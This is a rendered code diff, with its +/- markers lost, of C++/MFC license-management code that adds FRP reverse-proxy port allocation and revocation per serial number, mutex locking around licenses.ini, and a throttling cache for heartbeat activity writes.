// 否则端口会一直被这个已不存在的 SN "挂账",导致端口池逐步耗尽。
|
||||||
|
std::string frpConfig = cfg.GetStr(deviceID, "FrpConfig", "");
|
||||||
|
int allocatedPort = ParseRemotePortFromFrpConfig(frpConfig);
|
||||||
|
if (allocatedPort > 0) {
|
||||||
|
FreeFrpPortAllocation(allocatedPort, deviceID);
|
||||||
|
}
|
||||||
|
|
||||||
// 删除该 section (通过写入 NULL 删除整个 section)
|
// 删除该 section (通过写入 NULL 删除整个 section)
|
||||||
BOOL ret = ::WritePrivateProfileStringA(deviceID.c_str(), NULL, NULL, iniPath.c_str());
|
BOOL ret = ::WritePrivateProfileStringA(deviceID.c_str(), NULL, NULL, iniPath.c_str());
|
||||||
::WritePrivateProfileStringA(NULL, NULL, NULL, iniPath.c_str()); // 刷新缓存
|
::WritePrivateProfileStringA(NULL, NULL, NULL, iniPath.c_str()); // 刷新缓存
|
||||||
|
|
||||||
|
// 关键:清掉 UpdateLicenseActivity 的内存缓存。否则若同 SN 客户端再次连上来,
|
||||||
|
// cache 命中会跳过落盘 → disk 永远不会重建被删的 section。
|
||||||
|
InvalidateLicenseActivityCache(deviceID);
|
||||||
return ret != FALSE;
|
return ret != FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -835,12 +877,17 @@ void CLicenseDlg::OnLicenseViewIPs()
|
|||||||
|
|
||||||
// 如果有记录被删除,保存更新后的 IP 列表
|
// 如果有记录被删除,保存更新后的 IP 列表
|
||||||
if (removedCount > 0) {
|
if (removedCount > 0) {
|
||||||
|
// 锁内只做 I/O —— UI 控件更新(SetItemText)放锁外,避免锁内触发
|
||||||
|
// 任何可能的消息循环回调,保持锁占用时间最短
|
||||||
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
cfg.SetStr(lic.SerialNumber, "IP", newIPList);
|
cfg.SetStr(lic.SerialNumber, "IP", newIPList);
|
||||||
lic.IP = newIPList; // 更新内存中的数据
|
}
|
||||||
|
lic.IP = newIPList; // 更新内存中的数据(与 m_Licenses 同步,不需要锁)
|
||||||
|
|
||||||
// 更新列表显示
|
// 更新列表显示(UI 线程操作,必须在锁外)
|
||||||
CString strIPDisplay = FormatIPDisplay(newIPList).c_str();
|
CString strIPDisplay = FormatIPDisplay(newIPList).c_str();
|
||||||
m_ListLicense.SetItemText(nItem, LIC_COL_IP, strIPDisplay);
|
m_ListLicense.SetItemText(nItem, LIC_COL_IP, strIPDisplay);
|
||||||
}
|
}
|
||||||
@@ -960,6 +1007,9 @@ bool FindLicenseByIPAndMachine(const std::string& ip, const std::string& machine
|
|||||||
{
|
{
|
||||||
if (ip.empty()) return false;
|
if (ip.empty()) return false;
|
||||||
|
|
||||||
|
// 加锁保护整个 list 遍历,避免与并发的 SetStr(IP, ...) 交错读到中间态。
|
||||||
|
// GetAllLicenses 内部也加锁,recursive_mutex 允许嵌套。
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
auto licenses = GetAllLicenses();
|
auto licenses = GetAllLicenses();
|
||||||
for (const auto& lic : licenses) {
|
for (const auto& lic : licenses) {
|
||||||
if (lic.IP.empty()) continue;
|
if (lic.IP.empty()) continue;
|
||||||
@@ -1010,3 +1060,195 @@ bool FindLicenseByIPAndMachine(const std::string& ip, const std::string& machine
|
|||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 从 FrpConfig 字符串解析 remotePort
|
||||||
|
// 格式: "serverAddr:serverPort-remotePort-expireDate-authValue"
|
||||||
|
// 注意:serverAddr 可能是含 '-' 的域名(如 my-server.com),必须从右往左定位
|
||||||
|
// 与 CMy2015RemoteDlg::ParseFrpAutoConfig 的拆分策略一致。
|
||||||
|
static int ParseRemotePortFromFrpConfig(const std::string& frpConfig)
|
||||||
|
{
|
||||||
|
if (frpConfig.empty()) return 0;
|
||||||
|
// 倒数第 1 个 '-':分隔 expireDate 与 authValue
|
||||||
|
size_t dashAuth = frpConfig.rfind('-');
|
||||||
|
if (dashAuth == std::string::npos || dashAuth == 0) return 0;
|
||||||
|
std::string s2 = frpConfig.substr(0, dashAuth);
|
||||||
|
// 倒数第 2 个 '-':分隔 remotePort 与 expireDate
|
||||||
|
size_t dashExpire = s2.rfind('-');
|
||||||
|
if (dashExpire == std::string::npos || dashExpire == 0) return 0;
|
||||||
|
std::string s3 = s2.substr(0, dashExpire);
|
||||||
|
// 倒数第 3 个 '-':分隔 serverAddr:serverPort 与 remotePort
|
||||||
|
size_t dashPort = s3.rfind('-');
|
||||||
|
if (dashPort == std::string::npos || dashPort == 0) return 0;
|
||||||
|
return atoi(s3.substr(dashPort + 1).c_str());
|
||||||
|
}
|
||||||
|
|
||||||
|
// 释放 frp_ports.ini 中指定端口的占用记录。
|
||||||
|
// 必须传入 expectedOwner —— 仅当端口当前的归属确实是它时才清除,
|
||||||
|
// 避免在 race 或外部改动后误抹掉别的 SN 的占用记录。
|
||||||
|
static bool FreeFrpPortAllocation(int port, const std::string& expectedOwner)
|
||||||
|
{
|
||||||
|
if (port <= 0 || expectedOwner.empty()) return false;
|
||||||
|
config portsCfg(CFrpsForSubDlg::GetFrpPortsPath());
|
||||||
|
char portStr[16];
|
||||||
|
sprintf_s(portStr, "%d", port);
|
||||||
|
std::string currentOwner = portsCfg.GetStr("ports", portStr, "");
|
||||||
|
if (currentOwner != expectedOwner) {
|
||||||
|
// 已被改写或释放,不动它
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
portsCfg.SetStr("ports", portStr, ""); // 写入空 owner,FindNextAvailablePort 将其视为可用
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CLicenseDlg::OnLicenseAutoFrp()
|
||||||
|
{
|
||||||
|
int nItem = m_ListLicense.GetNextItem(-1, LVNI_SELECTED);
|
||||||
|
if (nItem < 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
size_t nIndex = (size_t)m_ListLicense.GetItemData(nItem);
|
||||||
|
if (nIndex >= m_Licenses.size())
|
||||||
|
return;
|
||||||
|
|
||||||
|
const auto& lic = m_Licenses[nIndex];
|
||||||
|
|
||||||
|
// 1. 前提条件:FRPS 服务器必须已在「下级 FRP 代理设置」中配置并启用
|
||||||
|
if (!CFrpsForSubDlg::IsFrpsConfigured()) {
|
||||||
|
MessageBoxL("请先在 扩展 → 下级 FRP 代理设置 中启用并配置 FRPS 服务器地址、端口与 Token,然后再使用此功能。",
|
||||||
|
"未配置 FRPS", MB_OK | MB_ICONINFORMATION);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. 读取该授权当前的 FRP 配置(若已分配端口)
|
||||||
|
std::string existingFrpConfig = LoadLicenseFrpConfig(lic.SerialNumber);
|
||||||
|
int existingPort = ParseRemotePortFromFrpConfig(existingFrpConfig);
|
||||||
|
|
||||||
|
// 已分配端口时,先询问是否覆盖
|
||||||
|
if (existingPort > 0) {
|
||||||
|
CString msg;
|
||||||
|
msg.FormatL("该授权已分配 FRPC 远程端口 %d,是否覆盖并重新设置?",
|
||||||
|
existingPort);
|
||||||
|
if (MessageBox(msg, _TR("覆盖 FRPC 配置"),
|
||||||
|
MB_ICONQUESTION | MB_YESNO | MB_DEFBUTTON2) != IDYES) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. 决定默认端口:已有端口则沿用,否则查找下一个可用端口
|
||||||
|
int defaultPort = existingPort;
|
||||||
|
if (defaultPort <= 0) {
|
||||||
|
defaultPort = CFrpsForSubDlg::FindNextAvailablePort();
|
||||||
|
if (defaultPort <= 0) {
|
||||||
|
MessageBoxL("FRPS 端口范围已满,无法自动分配,请扩大「下级 FRP 代理设置」中的端口范围。",
|
||||||
|
"端口已满", MB_OK | MB_ICONWARNING);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. 弹出输入对话框,允许用户确认或修改端口
|
||||||
|
CInputDialog dlg(this);
|
||||||
|
CString strTitle;
|
||||||
|
strTitle.FormatL("自动 FRP - %s", lic.SerialNumber.c_str());
|
||||||
|
dlg.Init(strTitle, _L("FRPC 远程端口 (1024-65535):"));
|
||||||
|
CString strDefault;
|
||||||
|
strDefault.Format(_T("%d"), defaultPort);
|
||||||
|
dlg.m_str = strDefault;
|
||||||
|
|
||||||
|
if (dlg.DoModal() != IDOK)
|
||||||
|
return;
|
||||||
|
|
||||||
|
int remotePort = _ttoi(dlg.m_str);
|
||||||
|
if (remotePort < 1024 || remotePort > 65535) {
|
||||||
|
MessageBoxL("FRP 远程端口无效(1024-65535)", "提示", MB_OK | MB_ICONWARNING);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 5. 端口冲突检测:若端口已被其它序列号占用则拒绝
|
||||||
|
std::string portOwner = CFrpsForSubDlg::GetPortOwner(remotePort);
|
||||||
|
if (!portOwner.empty() && portOwner != lic.SerialNumber) {
|
||||||
|
CString msg;
|
||||||
|
msg.FormatL("端口 %d 已被序列号 %s 占用,请选择其它端口。",
|
||||||
|
remotePort, portOwner.c_str());
|
||||||
|
MessageBox(msg, _TR("端口冲突"), MB_OK | MB_ICONWARNING);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 6. 先生成 FRP 配置串(失败则直接返回,不动 frp_ports.ini)
|
||||||
|
FrpsConfig frpsConfig = CFrpsForSubDlg::GetFrpsConfig();
|
||||||
|
// expireDate 固定 20371231(由 License 自身的过期控制实际有效性)
|
||||||
|
std::string frpConfig = GenerateFrpConfig(
|
||||||
|
frpsConfig.server, frpsConfig.port, remotePort,
|
||||||
|
frpsConfig.token, "20371231", frpsConfig.authMode);
|
||||||
|
|
||||||
|
if (frpConfig.empty()) {
|
||||||
|
MessageBoxL("生成 FRP 配置失败", "错误", MB_OK | MB_ICONERROR);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 7. 提交端口变更(顺序:新端口 RecordPortAllocation → 释放旧端口 → 写 licenses.ini)。
|
||||||
|
// 顺序保证:任意一步失败都不会出现"旧端口已释放 + 新端口未占用"的真空态。
|
||||||
|
CFrpsForSubDlg::RecordPortAllocation(remotePort, lic.SerialNumber);
|
||||||
|
if (existingPort > 0 && existingPort != remotePort) {
|
||||||
|
FreeFrpPortAllocation(existingPort, lic.SerialNumber); // 仅当旧端口确实归属本 SN 时才释放
|
||||||
|
}
|
||||||
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
|
std::string iniPath = GetLicensesPath();
|
||||||
|
config cfg(iniPath);
|
||||||
|
cfg.SetStr(lic.SerialNumber, "FrpConfig", frpConfig);
|
||||||
|
}
|
||||||
|
|
||||||
|
CString msg;
|
||||||
|
msg.FormatL("已为授权 %s 配置 FRPC 远程端口 %d。\n\n下级上线时将自动接收 FRP 配置并启用反向代理。",
|
||||||
|
lic.SerialNumber.c_str(), remotePort);
|
||||||
|
MessageBox(msg, _TR("配置成功"), MB_OK | MB_ICONINFORMATION);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CLicenseDlg::OnLicenseRevokeFrp()
|
||||||
|
{
|
||||||
|
int nItem = m_ListLicense.GetNextItem(-1, LVNI_SELECTED);
|
||||||
|
if (nItem < 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
size_t nIndex = (size_t)m_ListLicense.GetItemData(nItem);
|
||||||
|
if (nIndex >= m_Licenses.size())
|
||||||
|
return;
|
||||||
|
|
||||||
|
const auto& lic = m_Licenses[nIndex];
|
||||||
|
|
||||||
|
// 读取当前 FRP 配置;若本就没有,菜单理应不显示,这里再防御一次
|
||||||
|
std::string existingFrpConfig = LoadLicenseFrpConfig(lic.SerialNumber);
|
||||||
|
int existingPort = ParseRemotePortFromFrpConfig(existingFrpConfig);
|
||||||
|
if (existingFrpConfig.empty() && existingPort <= 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 二次确认(撤销后下级下次上线即丢失反向代理通道)
|
||||||
|
CString confirm;
|
||||||
|
confirm.FormatL("确定撤销授权 %s 的 FRP 配置吗?\n\n远程端口 %d 将被释放,下级下次上线后反向代理失效。",
|
||||||
|
lic.SerialNumber.c_str(), existingPort);
|
||||||
|
if (MessageBox(confirm, _TR("撤销 FRP 配置"),
|
||||||
|
MB_ICONQUESTION | MB_YESNO | MB_DEFBUTTON2) != IDYES) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 先释放 frp_ports.ini 中的端口占用(仅当归属仍为本 SN 时才释放)。
|
||||||
|
// 顺序:先释放端口,再清 FrpConfig —— 即便后一步失败,端口也已可被复用,
|
||||||
|
// 不会留下"FrpConfig 还在但端口已挂账"的悬空状态。
|
||||||
|
if (existingPort > 0) {
|
||||||
|
FreeFrpPortAllocation(existingPort, lic.SerialNumber);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清除 licenses.ini 中该授权的 FrpConfig 字段
|
||||||
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
|
std::string iniPath = GetLicensesPath();
|
||||||
|
config cfg(iniPath);
|
||||||
|
cfg.SetStr(lic.SerialNumber, "FrpConfig", "");
|
||||||
|
}
|
||||||
|
|
||||||
|
CString msg;
|
||||||
|
msg.FormatL("已撤销授权 %s 的 FRP 配置,远程端口 %d 已释放。",
|
||||||
|
lic.SerialNumber.c_str(), existingPort);
|
||||||
|
MessageBox(msg, _TR("撤销成功"), MB_OK | MB_ICONINFORMATION);
|
||||||
|
}
|
||||||
|
|||||||
@@ -97,6 +97,8 @@ public:
|
|||||||
afx_msg void OnLicenseEditRemark();
|
afx_msg void OnLicenseEditRemark();
|
||||||
afx_msg void OnLicenseViewIPs();
|
afx_msg void OnLicenseViewIPs();
|
||||||
afx_msg void OnLicenseDelete();
|
afx_msg void OnLicenseDelete();
|
||||||
|
afx_msg void OnLicenseAutoFrp();
|
||||||
|
afx_msg void OnLicenseRevokeFrp();
|
||||||
};
|
};
|
||||||
|
|
||||||
// 获取所有授权信息
|
// 获取所有授权信息
|
||||||
|
|||||||
@@ -14,11 +14,65 @@
|
|||||||
#include "InputDlg.h"
|
#include "InputDlg.h"
|
||||||
#include "FrpsForSubDlg.h"
|
#include "FrpsForSubDlg.h"
|
||||||
#include "UIBranding.h"
|
#include "UIBranding.h"
|
||||||
|
#include <unordered_map>
|
||||||
|
#include <ctime>
|
||||||
|
|
||||||
// 外部函数声明
|
// 外部函数声明
|
||||||
extern std::vector<std::string> splitString(const std::string& str, char delimiter);
|
extern std::vector<std::string> splitString(const std::string& str, char delimiter);
|
||||||
extern std::string GetFirstMasterIP(const std::string& master);
|
extern std::string GetFirstMasterIP(const std::string& master);
|
||||||
|
|
||||||
|
// ---- licenses.ini 并发与写抑制基础设施 (P1) ----
|
||||||
|
// 见 CPasswordDlg.h 中 LicensesIniMutex() 注释。这里给出实例。
|
||||||
|
std::recursive_mutex& LicensesIniMutex()
|
||||||
|
{
|
||||||
|
static std::recursive_mutex m;
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
// UpdateLicenseActivity 的写抑制缓存:仅当字段实际变化或节流过期时才落盘。
|
||||||
|
//
|
||||||
|
// ⚠️ Cache key 是 "SN|IP|machine" 三元组而非单 SN,因为同一 SN 可能被多个客户端
|
||||||
|
// 共用(团购授权场景:上百台机器共用一个序列号)。若按 SN 索引,多客户端的
|
||||||
|
// (IP, machine) 会在 cache 里反复互相覆盖 → ipChanged 几乎每次都为 true →
|
||||||
|
// 写抑制完全失效(实测从 0.6 次/秒只降到 0.7 次/秒)。
|
||||||
|
//
|
||||||
|
// 5s 心跳 × 100 客户端,每客户端独立 30s 节流后 → 100/30 ≈ 3.3 次落盘/秒。
|
||||||
|
// Passcode/HMAC 是 per-SN 的,按本结构会在每个客户端的 entry 里冗余存一份,
|
||||||
|
// 续期换码时所有客户端会各自触发一次重写(写入同一新值),冗余但无害。
|
||||||
|
struct LicenseActivityCache {
|
||||||
|
time_t lastFlushTime = 0; // 上次实际落盘的 epoch 秒
|
||||||
|
std::string lastPasscode; // 上次写入 ini 的 Passcode
|
||||||
|
std::string lastHMAC; // 上次写入 ini 的 HMAC
|
||||||
|
std::string lastLocation; // 上次写入 ini 的 Location
|
||||||
|
std::string lastIPWriteDate; // 上次写 IP 列表时的日期 yyMMdd
|
||||||
|
};
|
||||||
|
// Key 格式:"SN|IP|machine"。IP/machine 可能为空(ctx == null 路径),
|
||||||
|
// 此时 key 形如 "SN||" —— 该路径自成一类节流域,互不干扰。
|
||||||
|
std::unordered_map<std::string, LicenseActivityCache> g_activityCache;
|
||||||
|
|
||||||
|
// 30 秒节流窗口:LastActiveTime 最多 30 秒落盘一次(即便其它字段未变)。
|
||||||
|
// UI 显示的"最后活跃"最多延迟 30 秒,业务可接受。
|
||||||
|
constexpr int LAST_ACTIVE_THROTTLE_SECONDS = 30;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 由 DeleteLicense 等"在 cache 视野外修改了 disk"的路径调用,清掉某 SN 名下所有
|
||||||
|
// (IP, machine) entry,强制下次 UpdateLicenseActivity 走 firstTime 路径重建 section。
|
||||||
|
// Cache key 形如 "SN|IP|machine",同一 SN 可能对应多个 entry(多客户端共用授权),
|
||||||
|
// 必须按前缀遍历清除。
|
||||||
|
void InvalidateLicenseActivityCache(const std::string& deviceID)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
|
const std::string prefix = deviceID + "|";
|
||||||
|
for (auto it = g_activityCache.begin(); it != g_activityCache.end(); ) {
|
||||||
|
if (it->first.compare(0, prefix.size(), prefix) == 0) {
|
||||||
|
it = g_activityCache.erase(it);
|
||||||
|
} else {
|
||||||
|
++it;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// CPasswordDlg 对话框
|
// CPasswordDlg 对话框
|
||||||
|
|
||||||
IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx)
|
IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx)
|
||||||
@@ -105,6 +159,7 @@ bool SaveLicenseInfo(const std::string& deviceID, const std::string& passcode,
|
|||||||
const std::string& authorization,
|
const std::string& authorization,
|
||||||
const std::string& frpConfig)
|
const std::string& frpConfig)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -146,6 +201,7 @@ bool SaveLicenseInfo(const std::string& deviceID, const std::string& passcode,
|
|||||||
bool LoadLicenseInfo(const std::string& deviceID, std::string& passcode,
|
bool LoadLicenseInfo(const std::string& deviceID, std::string& passcode,
|
||||||
std::string& hmac, std::string& remark)
|
std::string& hmac, std::string& remark)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -161,6 +217,7 @@ bool LoadLicenseInfo(const std::string& deviceID, std::string& passcode,
|
|||||||
// 加载授权的 FRP 配置
|
// 加载授权的 FRP 配置
|
||||||
std::string LoadLicenseFrpConfig(const std::string& deviceID)
|
std::string LoadLicenseFrpConfig(const std::string& deviceID)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
return cfg.GetStr(deviceID, "FrpConfig", "");
|
return cfg.GetStr(deviceID, "FrpConfig", "");
|
||||||
@@ -169,6 +226,7 @@ std::string LoadLicenseFrpConfig(const std::string& deviceID)
|
|||||||
// 加载授权的 Authorization(用于 V2 授权返回给第一层)
|
// 加载授权的 Authorization(用于 V2 授权返回给第一层)
|
||||||
std::string LoadLicenseAuthorization(const std::string& deviceID)
|
std::string LoadLicenseAuthorization(const std::string& deviceID)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
return cfg.GetStr(deviceID, "Authorization", "");
|
return cfg.GetStr(deviceID, "Authorization", "");
|
||||||
@@ -177,6 +235,7 @@ std::string LoadLicenseAuthorization(const std::string& deviceID)
|
|||||||
// 更新授权的 Authorization(V2 续期时更新)
|
// 更新授权的 Authorization(V2 续期时更新)
|
||||||
bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string& authorization)
|
bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string& authorization)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
@@ -313,59 +372,115 @@ static int GetIPCount(const std::string& ipListStr)
|
|||||||
return (int)ipList.size();
|
return (int)ipList.size();
|
||||||
}
|
}
|
||||||
|
|
||||||
// 更新授权活跃信息
|
// 更新授权活跃信息(带写抑制)
|
||||||
|
//
|
||||||
|
// 设计要点:心跳每 5 秒触发一次本函数;同样的 SN 在稳态下绝大多数字段不会变化。
|
||||||
|
// 朴素实现每次心跳都做 6-8 次 SetStr (整文件重写),5 秒就是一轮全文件 I/O 风暴,
|
||||||
|
// 100 在线时会饱和。本实现引入 in-memory 缓存 g_activityCache:
|
||||||
|
// - 字段未变化 + LastActiveTime 节流窗口(30 秒)内 → 直接 return,零 I/O
|
||||||
|
// - 字段变化(passcode/HMAC/IP/Location 任一)→ 仅写变化字段
|
||||||
|
// - 节流过期 → 只写 LastActiveTime(轻量刷新)
|
||||||
|
// - IP 列表中的时间戳是日级精度(yyMMdd),跨天必须重写一次以刷新日期
|
||||||
|
//
|
||||||
|
// 注意:仅在落盘成功后才更新 cache,保证 cache 永远反映"磁盘上当前值"。
|
||||||
bool UpdateLicenseActivity(const std::string& deviceID, const std::string& passcode,
|
bool UpdateLicenseActivity(const std::string& deviceID, const std::string& passcode,
|
||||||
const std::string& hmac, const std::string& ip,
|
const std::string& hmac, const std::string& ip,
|
||||||
const std::string& location, const std::string& machineName)
|
const std::string& location, const std::string& machineName)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
|
|
||||||
|
// Cache key 是 (SN, IP, machine) 三元组 —— 同 SN 多客户端共用授权时各自独立节流。
|
||||||
|
// 若同 SN 不同 (ip, machine) 共用一个 cache entry,IP 字段会在不同客户端间反复
|
||||||
|
// 翻转,每次心跳都判定为 ipChanged → 写抑制完全失效。
|
||||||
|
const std::string cacheKey = deviceID + "|" + ip + "|" + machineName;
|
||||||
|
auto& cache = g_activityCache[cacheKey];
|
||||||
|
time_t now = time(nullptr);
|
||||||
|
|
||||||
|
// 计算今日日期串(yyMMdd),用于和 IP 列表时间戳比对
|
||||||
|
SYSTEMTIME st;
|
||||||
|
GetLocalTime(&st);
|
||||||
|
char today[8];
|
||||||
|
sprintf_s(today, "%02d%02d%02d", st.wYear % 100, st.wMonth, st.wDay);
|
||||||
|
|
||||||
|
// —— 决策阶段:判断本次心跳是否真的需要落盘 ——
|
||||||
|
// 注意:因 cacheKey 已经包含 (IP, machine),不同的客户端会落到不同 entry,
|
||||||
|
// 所以不再需要在字段比对中处理 IP/machine 变化 —— 那种"变化"其实是 cache miss。
|
||||||
|
const bool firstTime = (cache.lastFlushTime == 0);
|
||||||
|
const bool passcodeChanged = (passcode != cache.lastPasscode);
|
||||||
|
const bool hmacChanged = (hmac != cache.lastHMAC);
|
||||||
|
const bool ipDayChanged = !ip.empty() && !cache.lastIPWriteDate.empty() &&
|
||||||
|
std::string(today) != cache.lastIPWriteDate;
|
||||||
|
const bool locationChanged = !location.empty() && (location != cache.lastLocation);
|
||||||
|
const bool throttleExpired = (now - cache.lastFlushTime >= LAST_ACTIVE_THROTTLE_SECONDS);
|
||||||
|
|
||||||
|
if (!firstTime && !passcodeChanged && !hmacChanged
|
||||||
|
&& !ipDayChanged && !locationChanged && !throttleExpired) {
|
||||||
|
// 100% cache 命中:本客户端的所有字段都与上次落盘一致且节流未过期
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// —— 落盘阶段:仅写真正需要写的字段 ——
|
||||||
std::string iniPath = GetLicensesPath();
|
std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
|
|
||||||
// 检查该授权是否存在
|
// 检查该授权是否存在(注意:此处仍需读磁盘,因为我们不缓存"是否存在"的事实)
|
||||||
std::string existingPasscode = cfg.GetStr(deviceID, "Passcode", "");
|
std::string existingPasscode = cfg.GetStr(deviceID, "Passcode", "");
|
||||||
if (existingPasscode.empty()) {
|
const bool isNewRecord = existingPasscode.empty();
|
||||||
// 授权不存在,但验证成功了,说明是既往授权,自动添加记录
|
|
||||||
|
if (isNewRecord) {
|
||||||
|
// 授权不存在但验证成功 —— 既往授权自动加入
|
||||||
cfg.SetStr(deviceID, "SerialNumber", deviceID);
|
cfg.SetStr(deviceID, "SerialNumber", deviceID);
|
||||||
cfg.SetStr(deviceID, "Passcode", passcode);
|
cfg.SetStr(deviceID, "Passcode", passcode);
|
||||||
cfg.SetStr(deviceID, "HMAC", hmac);
|
cfg.SetStr(deviceID, "HMAC", hmac);
|
||||||
cfg.SetStr(deviceID, "Remark", "既往授权自动加入");
|
cfg.SetStr(deviceID, "Remark", "既往授权自动加入");
|
||||||
cfg.SetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE); // 新记录默认为有效
|
cfg.SetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE);
|
||||||
} else {
|
} else {
|
||||||
// 授权已存在,更新 passcode(续期后 passcode 会变化)
|
// 已存在:只在 passcode/hmac 实际变化时才写(续期场景才会变)
|
||||||
|
if (firstTime || passcodeChanged) {
|
||||||
cfg.SetStr(deviceID, "Passcode", passcode);
|
cfg.SetStr(deviceID, "Passcode", passcode);
|
||||||
|
}
|
||||||
|
if (firstTime || hmacChanged) {
|
||||||
cfg.SetStr(deviceID, "HMAC", hmac);
|
cfg.SetStr(deviceID, "HMAC", hmac);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 更新最后活跃时间
|
// LastActiveTime:走到这里就更新(节流过期或字段变化都需要刷新)
|
||||||
SYSTEMTIME st;
|
|
||||||
GetLocalTime(&st);
|
|
||||||
char timeStr[32];
|
char timeStr[32];
|
||||||
sprintf_s(timeStr, "%04d-%02d-%02d %02d:%02d:%02d",
|
sprintf_s(timeStr, "%04d-%02d-%02d %02d:%02d:%02d",
|
||||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
|
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
|
||||||
cfg.SetStr(deviceID, "LastActiveTime", timeStr);
|
cfg.SetStr(deviceID, "LastActiveTime", timeStr);
|
||||||
|
|
||||||
// 如果是新添加的记录,设置创建时间
|
if (isNewRecord) {
|
||||||
if (existingPasscode.empty()) {
|
|
||||||
cfg.SetStr(deviceID, "CreateTime", timeStr);
|
cfg.SetStr(deviceID, "CreateTime", timeStr);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 更新 IP 列表(追加新 IP 或更新已有 IP 的时间戳)
|
// IP 列表:本客户端首次 或 同客户端跨天 才重写(UpdateIPList 会在 disk 上合并)
|
||||||
// 格式: IP(机器名)|yyMMdd
|
if (!ip.empty() && (firstTime || ipDayChanged)) {
|
||||||
if (!ip.empty()) {
|
|
||||||
std::string existingIPList = cfg.GetStr(deviceID, "IP", "");
|
std::string existingIPList = cfg.GetStr(deviceID, "IP", "");
|
||||||
std::string newIPList = UpdateIPList(existingIPList, ip, machineName);
|
std::string newIPList = UpdateIPList(existingIPList, ip, machineName);
|
||||||
cfg.SetStr(deviceID, "IP", newIPList);
|
cfg.SetStr(deviceID, "IP", newIPList);
|
||||||
|
cache.lastIPWriteDate = today;
|
||||||
}
|
}
|
||||||
if (!location.empty()) {
|
|
||||||
|
if (!location.empty() && (firstTime || locationChanged)) {
|
||||||
cfg.SetStr(deviceID, "Location", location);
|
cfg.SetStr(deviceID, "Location", location);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// —— 同步缓存(必须在落盘成功后)——
|
||||||
|
cache.lastFlushTime = now;
|
||||||
|
cache.lastPasscode = passcode;
|
||||||
|
cache.lastHMAC = hmac;
|
||||||
|
if (!location.empty()) {
|
||||||
|
cache.lastLocation = location;
|
||||||
|
}
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检查授权是否已被撤销
|
// 检查授权是否已被撤销
|
||||||
bool IsLicenseRevoked(const std::string& deviceID)
|
bool IsLicenseRevoked(const std::string& deviceID)
|
||||||
{
|
{
|
||||||
|
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||||
std::string iniPath = GetLicensesPath();
|
